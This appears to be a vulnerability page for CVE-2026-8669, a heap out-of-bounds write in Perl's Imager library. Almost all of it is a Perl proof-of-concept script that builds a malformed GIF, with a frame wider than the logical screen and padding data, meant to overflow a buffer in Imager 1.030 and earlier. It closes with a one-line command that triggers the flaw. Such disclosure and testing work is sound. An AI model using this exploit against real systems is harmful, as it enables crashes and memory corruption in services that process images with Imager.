CVE-2026-8669 Perl Imager堆越界写入漏洞

# PoC for CVE-2026-8669 # This script generates a malicious multi-frame GIF file designed to trigger # the heap out-of-bounds write in Imager <= 1.030. # The vulnerability occurs because the frame width (100) exceeds the logical screen width (10). use strict; use warnings; my $poc_file = "cve_2026_8669_poc.gif"; # 1. GIF Header and Logical Screen Descriptor # Signature: GIF89a # Width: 10 bytes (0x000A) # Height: 10 bytes (0x000A) my $header = "GIF89a" . pack("v", 10) . pack("v", 10); # Packed Fields: Global color table flag (1), Color resolution (7), Sort flag (0), Size of GCT (7 -> 256) # Background Color Index: 0 # Pixel Aspect Ratio: 0 $header .= "\xF7\x00\x00"; # 2. Global Color Table (Simplified, just black) $header .= "\x00\x00\x00" x 256; # 3. Application Extension (Looping) $header .= "\x21\xFF\x0BNETSCAPE2.0\x03\x01\x00\x00\x00"; # 4. Image Descriptor (The malicious frame) # Image Separator: 0x2C # Left, Top: 0, 0 # Width: 100 (0x0064) - This is larger than Screen Width (10) # Height: 10 # Packed Fields: Local Color Table flag (0) my $img_desc = "\x2C" . pack("v", 0) . pack("v", 0) . pack("v", 100) . pack("v", 10) . "\x00"; # 5. Image Data # LZW Minimum Code Size: 8 my $data_subblocks = "\x08"; # Data Sub-block: Size 255, filled with 'A's (arbitrary data) # This data will overflow the GifRow buffer during DGifGetLine $data_subblocks .= "\xFF" . ("A" x 255); # Block Terminator $data_subblocks .= "\x00"; # 6. GIF Trailer my $trailer = "\x3B"; # Write the file open(my $fh, '>', $poc_file) or die "Cannot open $poc_file: $!"; binmode($fh); print $fh $header . $img_desc . $data_subblocks . $trailer; close($fh); print "[+] Malicious GIF file generated: $poc_file\n"; print "[+] To test vulnerability, use Imager to read the file:\n"; print " perl -MImager -e 'Imager->new(file=>\"$poc_file\")'\n";